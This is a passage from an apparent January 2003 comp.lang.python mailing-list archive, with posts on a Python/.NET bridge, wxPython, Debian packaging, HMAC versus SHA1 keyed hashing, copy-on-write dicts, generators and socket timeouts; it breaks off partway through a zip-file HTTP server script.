
New features/fixes:

1. Create objects with arguments in the constructor.
2. Example for ADO.NET
3. Improved error handling and reporting
4. Support libraries now part of the above windows installer
5. Fixed some glitches in the Python wrapper library that caused it to fail
for certain cases

With this version, you have a lot more flexibility to use almost all of the
.NET framework from Python.

Performance is very good as the layer adds little overhead and is
implemented in managed C++.

As always, comments/suggestions are welcome. Email them to
"cgjunkaddr at attbi.com". (Yes, the address works.)

Chetan Gadgil





From clifford.wells at attbi.com  Thu Jan 30 01:09:32 2003
From: clifford.wells at attbi.com (Cliff Wells)
Date: 29 Jan 2003 22:09:32 -0800
Subject: A few quick questions
In-Reply-To: <G63_9.5232$Tu2.18529@news-server.bigpond.net.au>
References: <G63_9.5232$Tu2.18529@news-server.bigpond.net.au>
Message-ID: <1043906971.19419.1500.camel@x1-6-00-04-5a-64-c4-03>

On Wed, 2003-01-29 at 21:54, Anthony Irwin wrote:
> Hi,
> 
> I am Interested in learning more about python, I would like to know how
> people feel it rates as an application development language. I mainly use
> linux but also use windows at work.
> 
> could anyone point out any good gui programming tutorials for linux or
> crossplatform toolkits and also maybe some review articles on how well
> python rates as a language.
> 
> would it be possible to create programs like dreamweaver, games, database
> business apps etc. Or is it more suited to smaller projects.

Not only can Python be used to do pretty much everything you want, it
can help you do it in a more flexible fashion and in a much shorter time
than most other languages.  It is certainly far better suited to large
application development than other languages traditionally used for this
task.

For an excellent cross-platform GUI kit, check out wxPython:

http://www.wxpython.org

I'd highly recommend downloading Python and wxPython, then giving the
wxPython demo a try.  You'll be pleased.

-- 
Cliff Wells <clifford.wells at attbi.com>





From egbert.list at hccnet.nl  Fri Jan 31 05:30:11 2003
From: egbert.list at hccnet.nl (Egbert Bouwman)
Date: Fri, 31 Jan 2003 11:30:11 +0100
Subject: Broken debian python
Message-ID: <20030131103011.GA1869@mirk.lan>

In debian, when you refer to python, you are actually talking 
about debian's default python version, 2.1

I have removed python, and installed python2.2, being 2.2.1-6

I try to install wxpython:
    apt-get install libwxgtk2.4-python
    
That results in an error:

Sorry but the following packages have unmet dependencies:
    libwxgtk2.4-python: Depends: python (>= 2.2)
E: Sorry, broken packages

How do I make debian accept the fact that i have the right python ?

egbert

-- 
Egbert Bouwman - Keizersgracht 197 II - 1016 DS  Amsterdam - 020 6257991
========================================================================




From trevp at trevp.net  Wed Jan 29 00:14:39 2003
From: trevp at trevp.net (Trevor Perrin)
Date: 28 Jan 2003 21:14:39 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com> <7xvg09c8bi.fsf@ruckus.brouhaha.com>
Message-ID: <47e891f1.0301282114.725a2066@posting.google.com>

Paul Rubin <phr-n2003b at NOSPAMnightsong.com> wrote in message news:<7xvg09c8bi.fsf at ruckus.brouhaha.com>...
> trevp at trevp.net (Trevor Perrin) writes:
> > I think that's a little iffy - SHA1 has a "length extension" property,
> > where if you know h(m) for some message m that's a multiple of the
> > block length (64 bytes in this case) you can compute h(m+x) (i.e. m
> > with x appended).  So if one of your unique integers was a prefix of
> > another, and your secret_prefix was the right size, you'd be in
> > trouble.  It would be better to use hmac-sha1 with the secret_prefix
> > as the key. 
> 
> We're talking about ordinary 32-bit integers, so it would take a
> difficult combination of circumstances to make that attack work,
> but yeah, using hmac would remove the issue.

you're right, with normal integers I don't think there's a
vulnerability, there would only be one if the appended values could
somehow have a prefix that matched a previous value's SHA1 padding. 
Still, hmac's cheap and easy, it's a good habit to always use it for
keyed hashing, so you don't have to worry about this sort of nuance
(I'm sure you know this, just for anyone following along)..
   
> 
> > And it would be better to generate the secret_prefix as a good
> > random number on system startup, not bake it into a configuration.
> 
> If you've got a source of good random numbers, you can just use them
> directly as tokens and not need this hashing stuff.

Sorry for being vague - by a "good random" value I meant one from egd,
or hardware, or from polling and mixing together a bunch of OS values,
thread timings, etc..  These "good random" values are usually
expensive to get or there's not that many of them, so if you needed
lots of them to use as session identifiers, you'd probably get one
once for use as a key, then use repeated hashing (your demonstration)
or ciphering (my demonstration) to get subsequent values, and reseed
with a "good random" value periodically.

As for getting these "good random" values on different systems, the
paper below has a pretty good discussion of the issues involved, and
the techniques are implemented in cryptlib so you can see what the
code looks like:

http://www.cs.auckland.ac.nz/~pgut001/pubs/usenix98.pdf
http://www.cs.auckland.ac.nz/~pgut001/cryptlib/


Trevor



From gustav at morpheus.demon.co.uk  Mon Jan 20 16:34:27 2003
From: gustav at morpheus.demon.co.uk (Paul Moore)
Date: Mon, 20 Jan 2003 21:34:27 +0000
Subject: Extra C_ directory in using ZipFile
References: <825b84d0.0301200243.12cd4585@posting.google.com>
Message-ID: <of6bwlng.fsf@morpheus.demon.co.uk>

makwaiming at yahoo.com (Mak) writes:

> Hi All,
>
> I am using zipFile to zip files for backup purpose. Everything seems
> to work fine except it create extra C_ directory when I try to unzip
> it using winzip 8.0. For example, if I zip up c:\abc\def and unzip
> right away. It will create directory tree like c:\C_\abc\def
>
> import zipfile
> ...
> archive= zipfile.ZipFile(filename,'w')
> archive.write(filename)
> archive.close()
>
> Anyone idea ?
>
> Note: I am using python 2.2

I'm guessing that you're trying to make the name in the zip file
something like C:\abc\def. But the zip file format doesn't support
drive letters in (internal) filenames, so ZipFile is normalising the
(otherwise invalid) colon to an underscore.

Solution: Don't try to store the drive letters in the zip filename.

Paul.
-- 
This signature intentionally left blank



From cnetzer at mail.arc.nasa.gov  Mon Jan 27 20:34:13 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Mon, 27 Jan 2003 17:34:13 -0800
Subject: New Python block cipher API, comments wanted
In-Reply-To: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com>
Message-ID: <200301280134.RAA27670@mail.arc.nasa.gov>

On Monday 27 January 2003 16:16, Paul Rubin wrote:

> My hope is to get some comments from the community, make any needed
> changes to the API, then re-implement it in C (including AES and DES)
> for inclusion in Python 2.3a2 which should be coming out pretty soon.

You are probably SOL on getting it anywhere near 2.3 at this stage, but 
it still seems to be a worthy project.  I'll look at it tonight; I have 
Java cryptography API experience, which may be of help in evaluating 
your proposal.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From skip at pobox.com  Fri Jan  3 10:47:17 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 3 Jan 2003 09:47:17 -0600
Subject: how to extract source code from code objects ?
In-Reply-To: <2259b0e2.0301030725.93d18c9@posting.google.com>
References: <2259b0e2.0301020814.2cbeb25c@posting.google.com>
        <mailman.1041525363.20935.python-list@python.org>
        <2259b0e2.0301030725.93d18c9@posting.google.com>
Message-ID: <15893.45189.968642.911259@montanaro.dyndns.org>

    Michele> decompyle works and it is easy to install and to use. However,
    Michele> it is not in the standard library and this implies two
    Michele> disadvantages:
    Michele> i) it is not universally available;
    Michele> ii) for any new version of Python I must download a new version
    Michele> of decompyle. 

    Michele> I was hoping for a more built-in solution, as for instance an
    Michele> attribute .co_source in code objects. I guess this would be
    Michele> inefficient for memory consumption or for other technical
    Michele> reasons.

Inefficient, perhaps, but not hugely, I wouldn't think, since code objects
are relatively rare beasts in the Python object landscape.  The source code
isn't normally needed, because in most cases it can be looked up in the
source file (check out the inspect.getsource function).  If you can provide
a convincing use case why the source for manually compiled code should be
retained in a feature request on SourceForge, it's possible that someone
will add a co_source field to code objects.  It would help if you supplied a
patch that implemented the feature request.  (Note that simply extending
code objects with a co_source slot won't be enough.  The compiler will have
to be modified to stuff the code in there.)

An alternative is to simply maintain a dictionary that maps code objects to
source code, e.g.,:

    >>> def f(): pass
    ... 
    >>> f
    <function f at 0x3ba538>
    >>> d = {}
    >>> d[f.func_code] = 'pass'

Since code objects are immutable, they can be used as dictionary keys.
Would that be sufficient for your needs?

Skip




From rockrossi69 at libero.it  Thu Jan  2 15:04:24 2003
From: rockrossi69 at libero.it (Rocco Rossi)
Date: Thu, 02 Jan 2003 20:04:24 GMT
Subject: Downcast (I know it sounds silly, but ...)
Message-ID: <cX0R9.72667$Ou4.2409063@twister2.libero.it>

I was wondering if it is possible in Python to do something analogous to
downcasting in a statically typed language like C++. I mean is it possible
to take an instance of a base class and magically transform it into an
instance of some derived class eventually fixing things (like the missing
attribute data)?

Thanx.






From skip at pobox.com  Thu Jan  9 17:39:45 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 9 Jan 2003 16:39:45 -0600
Subject: threading with re module
In-Reply-To: <avksu6$kke$1@panix2.panix.com>
References: <f105dedd.0301091319.7fb001a2@posting.google.com>
        <avksu6$kke$1@panix2.panix.com>
Message-ID: <15901.64049.459414.570697@montanaro.dyndns.org>

    >> ... what are people doing to get thread-safe regex in python?

    aahz> What makes you think the re module is not thread-safe?

Maybe the OP was thinking of the now-obsolete regex module, which definitely
was not thread-safe.

Skip




From just at xs4all.nl  Wed Jan 15 15:34:52 2003
From: just at xs4all.nl (Just)
Date: Wed, 15 Jan 2003 21:34:52 +0100
Subject: copy-on-write for dict objects?
References: <avtss7$ejg$1@news.sns-felb.debis.de> <7h3n0m2p77m.fsf@pc150.maths.bris.ac.uk>
Message-ID: <just-25E92A.21345215012003@news1.news.xs4all.nl>

In article <7h3n0m2p77m.fsf at pc150.maths.bris.ac.uk>,
 Michael Hudson <mwh at python.net> wrote:

> Matthias Oberlaender <matthias.oberlaender at REMOVE.daimlerchrysler.com> writes:
> 
> > Is there an easy way in Python 2.2.1 to add a copy-on-write mechanism to 
> > subclasses of dict, i.e. without extending/modifying the C-code 
> > implementation?  (I guess there is none!)
> 
> Not sure what you mean.  But I doubt it.  You need a level of
> indirection in there, so I don't see how you could do it directly even
> hacking C.
> 
> > I don't want to resort to UserDict again, since, at least for my
> > purposes, it's much slower than direct subclasses of dict (around
> > 10x)
> 
> I know that feeling.

This may help somewhat, although it will still be slower than a true 
dict (and is fairly inefficient for small dicts):


class CopyOnWriteDict:

    def __init__(self, d):
        self.__d = d
        self.__shared = 1
    
    def __getattr__(self, name):
        # delegate attr lookups to the underlying dict, cache results
        # so __getattr__ won't get called again for this attr name
        attr = getattr(self.__d, name)
        setattr(self, name, attr)
        return attr
    
    def __copy(self):
        d = self.__d.copy()
        self.__dict__.clear()
        self.__d = d
        self.__shared = 0

    def __setitem__(self, key, value):
        if self.__shared:
            self.__copy()
        self.__d.__setitem__(key, value)
        
    def __delitem__(self, key):
        if self.__shared:
            self.__copy()
        self.__d.__delitem__(key)

    def update(self, d):
        if self.__shared:
            self.__copy()
        self.__d.update(d)

    # other "writing" methods are left as an exercise..


This approach might actually yield performance close to a real dict when 
implemented in C, as it could use the fast tp_as_mapping methods.

Just



From Mongryong at sympatico.ca  Thu Jan 23 19:50:47 2003
From: Mongryong at sympatico.ca (Mongryong)
Date: 23 Jan 2003 19:50:47 -0500
Subject: Python use growing or shrinking
In-Reply-To: <3353cd1e.0301231612.4bb69e92@posting.google.com>
References: <v2rhpd4d6p8f79@corp.supernews.com>
	<_qOX9.42965$Hl6.5134840@news010.worldonline.dk> 
	<3353cd1e.0301231612.4bb69e92@posting.google.com>
Message-ID: <1043369448.578.80.camel@refugeeMedia>

Yeah, I think the 'popularity' rating has a lot to do with coporate
marketing and coercing.  At my university, Microsoft made a huge
donation...in return, C# and .NET were to be used in the distributed
computing course.

I never even heard of Python until I started my 3rd co-op term.  Before
that it was C/C++ and Java.  So, Python is relatively an 'underground'
or 'alternative' thing...so it's still cool :) 

On Thu, 2003-01-23 at 19:12, Tony Clarke wrote:
> Max M <maxm at mxm.dk> wrote in message news:<_qOX9.42965$Hl6.5134840 at news010.worldonline.dk>...
> > Greg Brunet wrote:
> > 
> > > There's only a general discussion of their methodology, and I'm not
> > > arguing that one should choose a language solely because of it's
> > > popularity or rate of increase/decrease (and what's up with RPG having
> > > the second fastest growth rate!?!).  Still, it's it provides another
> > > viewpoint on 'the language wars'.
> > 
> > 
> > There is no doubt in my mind that Python use is growing! I use it for 
> > more and more tasks.
> > 
> > 
> > ;-)
> Hi
> Python is not a programming language, its a 
> pocket tool
> way of life
> fun machine
> mind expander
> Corporate promotion? Market share? Its not in the same ball park, and
> hurray for that!
> IMHO
> Tony Clarke
> -- 
> http://mail.python.org/mailman/listinfo/python-list






From ods at strana.ru  Sat Jan  4 08:48:57 2003
From: ods at strana.ru (Denis S. Otkidach)
Date: Sat, 4 Jan 2003 16:48:57 +0300 (MSK)
Subject: Trouble with generator
In-Reply-To: <67446a0a.0301040534.6dfa4cfc@posting.google.com>
Message-ID: <Pine.LNX.4.44L.0301041644560.1385-100000@localhost.localdomain>

After first item your generator implicitly returns, that is turned in
StopIteration.  Put yield statement in loop:


    def _linkGenerator(self, baseUrl):

        maxPages = 4

        for counter in range(maxPages):

            if baseUrl[0:7] == 'http://':
                url = baseUrl[7:]
            else:
                url = baseUrl


            yield string.join(('http://www.google.com/search?q=link:',
                               url,
                               '&hl=es&lr=&ie=UTF-8&filter=0',
                               '&start=',
                               str((counter - 1) * 10)), '')


On 4 Jan 2003, Boethius wrote:

B> I'm getting a StopIteration exception with this generator:
[...]
B> When I call the next() method for the second time, I get this
B> error:
B>
B> >>> gen = g._linkGenerator( 'http://www.easyjob.net')
B> >>> gen.next()
B> 'http://www.google.com/search?q=link:www.easyjob.net&hl=es&lr=
B> &ie=UTF-8&filter=0&start=0'
B> >>> gen.next()
B> Traceback (most recent call last):
B>   File "<stdin>", line 1, in ?
B> StopIteration

-- 
Denis S. Otkidach
http://www.python.ru/      [ru]





From tjreedy at udel.edu  Tue Jan 28 16:29:47 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Tue, 28 Jan 2003 16:29:47 -0500
Subject: Browser front-end, python back-end
References: <fd5aa35c.0301280922.a952dc7@posting.google.com> <slrnb3dg7u.lr.lee@bad-bart.lcp.nrl.navy.mil> <b16jlp$fii$1@newsmaster.cc.columbia.edu> <877kcp6kp3.fsf@theasylum.dyndns.org>
Message-ID: <mJycne7YFOFYaqujXTWcpw@comcast.com>

"Tim Lavoie" <tlavoie at acm.org> wrote in message
news:877kcp6kp3.fsf at theasylum.dyndns.org...
> >>>>> "Eric" == Eric Mattes <ericmattes at yahoo.com> writes:
>     Eric> not require an internet connection. I wanted a python
>     Eric> program to act as a server so that it can receive requests
>     Eric> from a browser pointing to localhost.
>
>     Eric> The program is a turn-based game, so it is suitable for
web
>     Eric> browser implementation. I'm just wondering if its feasable
>     Eric> to have the whole app (server and all) in one package.
>
> Just out of curiosity, why did you want to use a browser for the
> interface on a local-only game? Pygame is excellent for this sort of
> thing, and possibly much easier to use and write. Don't get me
wrong,
> the browser idea works well for lots of things, but you don't want
to
> miss out on other options.

I have played several (turn-based) games (over the Intenet) that use a
browser as a front end and I think it is a WRETCHED interface for the
purpose.  With every move, the game board has to be download again.
The screen blinks, and the scroll bar jumps back up to the top.  I
mostly quite playing them because they give me headaches.  Ugh.

Terry





From mhammond at skippinet.com.au  Wed Jan 15 21:33:08 2003
From: mhammond at skippinet.com.au (Mark Hammond)
Date: Thu, 16 Jan 2003 02:33:08 GMT
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <mailman.1042676761.18644.python-list@python.org>
References: <mailman.1042676761.18644.python-list@python.org>
Message-ID: <ERoV9.17087$UB4.75679@news-server.bigpond.net.au>

[Mike C. Fletcher]
>Before anyone gets hurt ;) .  My question was actually just "who holds
>the copyright" :) .  I have enough on Tim (less on Mark, but he gave his
>copyright away, so I'm safe there ;) ) 

Well, Tim has enough on me for everyone to have a piece <wink>

Life-is-one-big-circle ly,

Mark.




From adalke at mindspring.com  Mon Jan 13 03:54:02 2003
From: adalke at mindspring.com (Andrew Dalke)
Date: Mon, 13 Jan 2003 01:54:02 -0700
Subject: copy-on-write for dict objects?
In-Reply-To: <avtss7$ejg$1@news.sns-felb.debis.de>
References: <avtss7$ejg$1@news.sns-felb.debis.de>
Message-ID: <avtur1$t37$1@slb0.atl.mindspring.net>

Matthias Oberlaender wrote:
> Is there an easy way in Python 2.2.1 to add a copy-on-write mechanism to 
> subclasses of dict, i.e. without extending/modifying the C-code 
> implementation?  (I guess there is none!)
> 
> I don't want to resort to UserDict again, since, at least for my purposes, 
> it's much slower than direct subclasses of dict (around 10x)

I can't think of any.  However, you should be able to build on the
following, which should get you pretty good performance.  There
are some caveats, like don't use a bound method from before and after
a copy-on-write.  (Most code doesn't use this.)


 >>> class MyDict:
...     def __init__(self, d):
...             self.data = d
...             self.__getitem__ = d.__getitem__
...             self.get = d.get
...     def __setitem__(self, k, v):
...             self._on_write()
...             self.data[k] = v
...     def _on_write(self):
...             self.data = self.data.copy()
...             self.__setitem__ = self.data.__setitem__
...             self.__getitem__ = self.data.__getitem__
...             self.get = self.data.get
...     def copy(self):
...             return self.data.copy()
...
 >>> d = {1:1, 2:4, 3:9}
 >>> md = MyDict(d)
 >>> md[3]
9
 >>> d[3] = 27
 >>> md[3]
27
 >>> d[2], md[2]
(4, 4)
 >>> md[2] = 8
 >>> d[2], md[2]
(4, 8)
 >>> d.clear()
 >>> md.copy()
{1: 1, 2: 8, 3: 27}
 >>>

Personally, I can't recall ever needing copy-on-write for dicts,
since a normal copy is fast enough.

					Andrew
					dalke at dalkescientific.com




From jeremy at alum.mit.edu  Fri Jan  3 09:30:38 2003
From: jeremy at alum.mit.edu (Jeremy Hylton)
Date: 3 Jan 2003 06:30:38 -0800
Subject: if __name__=='__main__': main()
References: <d3f86b28.0212200701.340fab5d@posting.google.com> <yu998yykzmnu.fsf@europa.research.att.com> <d3f86b28.0212230820.34a29030@posting.google.com>
Message-ID: <b0f083db.0301030630.9591252@posting.google.com>

jaime.suarez at crossmatch.net (jaime suarez) wrote in message news:<d3f86b28.0212230820.34a29030 at posting.google.com>...
 
> if __name__=='__main__':
>     main()
> 
> THE PROBLEM is that I had to enter a newline after
> main()!!
> 

Here's a late response to this issue.  I was just butting heads with
it on Tuesday, so the it seems fresh for me.

This error only occurs if you are parsing a string.  Python's parser
has separate APIs for parsing from a file (a C FILE *) and from a
string (a C char *).  The file version of the parser APIs doesn't
require a trailing newline, but the string version does.  This
difference is a bug in the implementation.  Neither version of the API
should care about the trailing newline.

Jeremy



From mwm at mired.org  Sun Jan 19 11:14:33 2003
From: mwm at mired.org (Mike Meyer)
Date: Sun, 19 Jan 2003 16:14:33 GMT
Subject: Introduction object-oriented programming
References: <b08ank$dak12@imsp212.netvigator.com> <x7iswn4qoa.fsf@guru.mired.org> <mailman.1042826159.14168.python-list@python.org> <v2j5mial64f6f@corp.supernews.com> <mailman.1042976675.1843.python-list@python.org>
Message-ID: <x7smvp2k20.fsf@guru.mired.org>

"Donnal Walter" <donnalcwalter at yahoo.com> writes:

> [OT] One of Eiffel's strengths is design by contract (DBC). I've considered
> implementing one of the published recipes for EiffelMethods in Python, but I
> wonder, is DBC is really necessary if one uses unit tests compulsively?

I don't know about "necessary", but there are uses for DbC that unit
testing can't cover, and uses for unit testing that DbC can't cover.
See <URL:
http://scom.hud.ac.uk/staff/scomdjd/public/XP/UT/dbc-and-unittests.html
> for an extended discourse on these topics.

        <mike
-- 
Mike Meyer <mwm at mired.org>			http://www.mired.org/home/mwm/
Independent WWW/Perforce/FreeBSD/Unix consultant, email for more information.



From skip at pobox.com  Thu Jan  9 09:58:00 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 9 Jan 2003 08:58:00 -0600
Subject: best college for computer science major 
In-Reply-To: <200301091339.h09Dd0jL013540@ratthing-b246.strakt.com>
References: <3e1ba232_6@nopics.sjc>
        <ef7a350b.0301081249.232b8746@posting.google.com>
        <mailman.1042095148.4015.python-list@python.org>
        <%LbT9.1154$pq3.71245964@newssvr21.news.prodigy.com>
        <200301091339.h09Dd0jL013540@ratthing-b246.strakt.com>
Message-ID: <15901.36344.420543.718763@montanaro.dyndns.org>

    Laura> There is _something_ _seriously_ _wrong_ if it doesn't make a
    Laura> difference where you study.

At the graduate level, I'd agree with you.  At the undergrad level I suspect
it depends more on which particular professors/instructors you get and how
strong your internal motivation is.

When schools are ranked it is generally on the strength of their research
and graduate programs, not on the strength of their undergrad programs.  For
someone to suggest that CMU and MIT are the best CD schools generally
reflects those schools' research reputation, not how well they teach people.
As you point out, it also completely ignores the fact that all departments
specialize.

To the OP, you asked a horribly underqualified question, even the second
time around.  I hope the responses give you some food for thought.  In
addition, unless you've got a 4.0, SAT scores near 1600, marvelously
well-rounded extracurricular activities and maybe a mom or dad who's an
influential alum, your time will probably be better spent applying to
schools other than those mentioned in this thread: Stanford, Berkeley, CMU,
MIT, Cornell, etc. ;-)

-- 
Skip Montanaro
skip at pobox.com




From gbreiner at ias.u-psud.fr  Wed Jan 29 11:10:52 2003
From: gbreiner at ias.u-psud.fr (Gerard Breiner)
Date: Wed, 29 Jan 2003 17:10:52 +0100
Subject: GUI is it possible with mod_python ?
In-Reply-To: <mailman.1043850414.4219.python-list@python.org>
References: <mailman.1043850414.4219.python-list@python.org>
Message-ID: <Pine.WNT.4.44.0301291650530.3352-100000@azur>

Hi!

> Are you intended to show astrophysical data/objects this way?
Indeed, it is a possibility.
I am a system administrator and currently I explore the possibilities of
this language in order to use it for Web applications and also to make
known it with the researchers of our institute which currently uses
software IDL.

Best regards

Gerard Breiner
Institut d'Astrophysique Spatiale
Batiment 121
91405 Orsay Campus
France




From claird at lairds.com  Wed Jan  8 10:08:26 2003
From: claird at lairds.com (Cameron Laird)
Date: Wed, 08 Jan 2003 15:08:26 -0000
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3E1BA510.85FBDD59@engcorp.com>
Message-ID: <v1ofnamn6ai771@corp.supernews.com>

In article <3E1BA510.85FBDD59 at engcorp.com>,
Peter Hansen  <peter at engcorp.com> wrote:
>Tupoi wrote:
>> 
>> what are the best colleges for those wanting to major in computer science
>
>To keep this on-topic for this newsgroup, I suppose the answer
>has to be "any which teach Python!".
>
>You *did* want to keep this on-topic, didn't you?  <0.1 wink>
>
>-Peter

Surely a candidate could only qualify if it taught
its students the supreme importance of requirements
analysis.  I think we'll all agree that a project
to find, for example, "the best college", is far 
more likely to succeed if its implementers have 
some notion of geographic-financial-... constraints,
whether the student's orientation is academic,
intellectual, or professional, and so on.
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From vonWedel at lfpt.rwth-aachen.de  Wed Jan 15 05:19:08 2003
From: vonWedel at lfpt.rwth-aachen.de (Lars von Wedel)
Date: Wed, 15 Jan 2003 11:19:08 +0100
Subject: Generate template code to implement interface from TLB?
Message-ID: <3E25359C.7E64A99A@lfpt.rwth-aachen.de>

Hello,

where could I find a chunk of code that helps me
to generate a dummy implementation for some
interfaces from a TLB?

I thought, tlbrowse.py from PythonWin could be
easily extended to do exactly this -- has anyone
tried this already?

Lars



From pangalactic at gargleblaster.org  Mon Jan 20 02:40:06 2003
From: pangalactic at gargleblaster.org (Chetan Gadgil)
Date: Mon, 20 Jan 2003 07:40:06 GMT
Subject: Python extension for MANAGED C++ with VC.NET
References: <2GNW9.59636$hl1.6803@sccrnsc04>
Message-ID: <qJNW9.59662$hl1.6660@sccrnsc04>

BTW to reiterate, I am able to call into managed code from python

I am working on a reasonable design to be able to call arbitrary assemblies
with state being maintained across calls.

Chetan Gadgil

"Chetan Gadgil" <pangalactic at gargleblaster.org> wrote in message
news:2GNW9.59636$hl1.6803 at sccrnsc04...
> Hi
>
> Is anyone working on the above?
> I had started work on a library I called PyCLR - a module using Mark
> Hammond's win32all, but later discovered that Mark had already done
> something similar for Python.NET, but was not too happy with the results.
>
> I have started on VC.NET with managed c++ and have "managed" (no silly pun
> intended :)) to load an extension module into Python and call into Managed
> Code.
>
> Potentially, now I should be able to call any .NET assemblies from native
> python, without going through COM.
>
> However, I was curious if anyone is already working on those lines,
> otherwise I might just be wasting my time.
>
> If not, I intend to make the .NET extension module available under the
> Python license, once my module is in a reasonably decent shape.
>
> I tried using the "boost" library in managed C++ for python - it compiles,
> but I get all sorts of assertion errors at runtime. Obviously, I need to
> change lots of things for the managed/unmanaged C++ mix.
> So I am doing it in "raw" C/C++ (managed/unmanaged).
>
> If any of us who have already tried this, have any
> comments/suggestions/advice, they are welcome to do so here.
>
> As a side note - has anything changed in extension modules in Python 2.3a?
I
> tried exactly the same Managed C++ module that worked with Python 2.2.2
> release - did not work on 2.3a. (2.2.2 does not compile on VC.NET without
> some hacks for some obsolete macros - Looks like Mark Hammond has already
> checked them in post 2.2.2 ...)
>
> Regards
> Chetan Gadgil
>
>





From rjones at ekit-inc.com  Fri Jan 24 23:54:38 2003
From: rjones at ekit-inc.com (Richard Jones)
Date: Sat, 25 Jan 2003 15:54:38 +1100
Subject: socket wedged forever in recv()
In-Reply-To: <61957B071FF421419E567A28A45C7FE54010DB@mailbox.nameconnector.com>
References: <61957B071FF421419E567A28A45C7FE54010DB@mailbox.nameconnector.com>
Message-ID: <200301251554.38558.rjones@ekit-inc.com>

On Sat, 25 Jan 2003 8:47 am, Geoffrey Talvola wrote:
> I have a Windows NT client application that uses httplib to make requests
> to a Windows NT server running Apache 2.0 serving up a cgi script.
> Unfortunately, if I reboot the Apache server, if a request is in-progress,
> the client will often wedge permanently.  I built a debug version of Python
> 2.2.2 and verified that the client is stuck in a call to recv() and will
> apparently never exit.  It's a little irritating that the client can't
> detect the situation and return from recv() with an error code at this
> point.  Does anyone know a way to get the client to notice that the server
> is gone?

With a timeout, as you've already discovered.


> I have a couple of ideas for workarounds.  timeoutsocket.py (1) can avoid
> the problem for non-SSL connections but it doesn't work for SSL connections
> at all, and my application needs to make some SSL connections as well as
> non-SSL connections.  I'm also going to try Python 2.3a1 to see if its new
> support for timeout on sockets works with SSL.

Apparently this _is_ fixed in 2.3


> The only other idea I had was to make these http requests in a separate
> thread so that I can detect the wedge and deal with it.  Ugly, but it might
> work.

Except you can't kill one thread from another. If you're single-threaded, you 
can use an alarm signal to interrupt the process. I think.


    Richard





From phr-n2003b at NOSPAMnightsong.com  Tue Jan 28 15:45:21 2003
From: phr-n2003b at NOSPAMnightsong.com (Paul Rubin)
Date: 28 Jan 2003 12:45:21 -0800
Subject: Generating Unique Keys
References: <mailman.1043710965.5817.python-list@python.org> <7xy956jf5j.fsf@ruckus.brouhaha.com> <47e891f1.0301281237.16079102@posting.google.com>
Message-ID: <7xvg09c8bi.fsf@ruckus.brouhaha.com>

trevp at trevp.net (Trevor Perrin) writes:
> I think that's a little iffy - SHA1 has a "length extension" property,
> where if you know h(m) for some message m that's a multiple of the
> block length (64 bytes in this case) you can compute h(m+x) (i.e. m
> with x appended).  So if one of your unique integers was a prefix of
> another, and your secret_prefix was the right size, you'd be in
> trouble.  It would be better to use hmac-sha1 with the secret_prefix
> as the key. 

We're talking about ordinary 32-bit integers, so it would take a
difficult combination of circumstances to make that attack work,
but yeah, using hmac would remove the issue.

> And it would be better to generate the secret_prefix as a good
> random number on system startup, not bake it into a configuration.

If you've got a source of good random numbers, you can just use them
directly as tokens and not need this hashing stuff.



From jsaul at gmx.de  Thu Jan 23 10:39:53 2003
From: jsaul at gmx.de (jsaul)
Date: Thu, 23 Jan 2003 16:39:53 +0100
Subject: Bugg in my Win32 shell namespace extension module
In-Reply-To: <b0ou5s$hj$1@newstoo.ericsson.se>
References: <b0ou5s$hj$1@newstoo.ericsson.se>
Message-ID: <20030123153953.GF840@jsaul.de>

* Magnus Gustafsson [2003-01-23 15:38]:
> begin 666 automatic_test.py

Please don't send such big (600kB) files. Are you seriously
expecting people will install it and figure the bug out for you?
In 600kB of code? This is not a service hotline.

Greetings from "old Europe"[tm], jsaul
-- 
Palo pa'que aprenda que aqu? s? hay honor!
[Rub?n Blades]



From LogiplexSoftware at earthlink.net  Wed Jan 15 16:02:33 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 15 Jan 2003 13:02:33 -0800
Subject: Performance penalty for using classes?
In-Reply-To: <NIjV9.3969$YI5.2600@news2.central.cox.net>
References: <33803989.0301120004.76e09b9a@posting.google.com>
	 <33803989.0301142350.1af9e278@posting.google.com>
	 <mailman.1042657362.26925.python-list@python.org>
	 <NIjV9.3969$YI5.2600@news2.central.cox.net>
Message-ID: <1042664553.27820.147.camel@software1.logiplex.internal>

On Wed, 2003-01-15 at 12:42, Steve Holden wrote:
> "Andr? Jonsson" <tatsujin at despammed.com> wrote ...
> > Seems to me that the C program is almost 10 times faster...
> >
> [...]
> [C]
> > > long iterations = 1000000;
> [...]
> [Python]
> > >         iterations = 100000
> [...]
> 
> Yes, it's an unfortunate discrepancy between the Python and C code that the
> latter runs ten times as many tests :-(

Just shows how error-prone writing in C is <wink>.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From tojopiter at yahoo.com  Sat Jan 18 19:12:51 2003
From: tojopiter at yahoo.com (piter)
Date: Sun, 19 Jan 2003 01:12:51 +0100
Subject: open an html string in a browser?
References: <v2j7tdai7bk9a9@corp.supernews.com> <sXjW9.126$lE7.20810881@newssvr17.news.prodigy.com>
Message-ID: <b0cqiv$ihk$1@news.tpi.pl>

Hi,

I already did it.
I created it during learning Java and since Java documentation as a zip file
was ~20MB but unpacked more than 110 MB i decided to write that simple http
server in order to preserve my precious disk space ;-)

To my suprise it worked quite fast (even with frames, gifs and all this
stuff)

-------- CODE STARTS --------
'''
# The zip file http server
# example URL:
# http://localhost:8000/d:/java/doc/j2sdk-131-docs.zip/docs/guide/index.html
# where:
#   - http://localhost:8000 - points to host where this script is running
#   - d:/java/doc/j2sdk-131-docs.zip - points to zip file
#   - docs/guide/index.html - points to file to display
#
# you can also skip file to display:
